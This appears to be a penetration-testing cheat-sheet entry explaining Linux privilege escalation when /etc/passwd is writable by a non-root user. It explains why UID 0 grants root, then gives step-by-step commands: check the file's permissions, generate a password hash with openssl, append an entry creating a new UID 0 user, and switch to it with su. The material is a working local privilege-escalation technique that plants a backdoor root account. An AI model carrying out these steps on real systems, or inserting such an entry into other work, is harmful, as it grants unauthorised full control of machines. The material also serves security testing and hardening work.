# Writable /etc/passwd

### Overview

The `/etc/passwd` file defines:

* Usernames
* User IDs (UIDs)
* Group IDs (GIDs)
* Home directories
* Login shells

If `/etc/passwd` is writable by a non-root user, an attacker can:

* Create a new root-level user
* Modify an existing user to gain root privileges
* Achieve immediate privilege escalation

### Why this Works

Linux grants root privileges based on **UID**, not username.

* UID `0` = root
* Any account with UID `0` has full system privileges

The system:

* Does **not** validate who created the entry
* Does **not** alert on changes by default
* Fully trusts `/etc/passwd` at login

### Prerequisites

1. Local access as a non root user.
2. `/etc/passwd` is writable.

### Steps

1. Confirm whether `/etc/passwd` is writable by the current user

   ```bash
   ls -l /etc/passwd
   ```
2. Generate a DES crypt hash password locally 

   ```bash
   # Using openssl
   openssl passwd anypasshere
   ```
3. Open `/etc/passwd` and add a new entry at the end of the file referencing a new root user (Eg: `newroot`)

   ```bash
   newroot:<NEW_HASH_HERE>:0:0:root:/root:/bin/bash
   ```
4. Login as the new root user by running `su newroot`.


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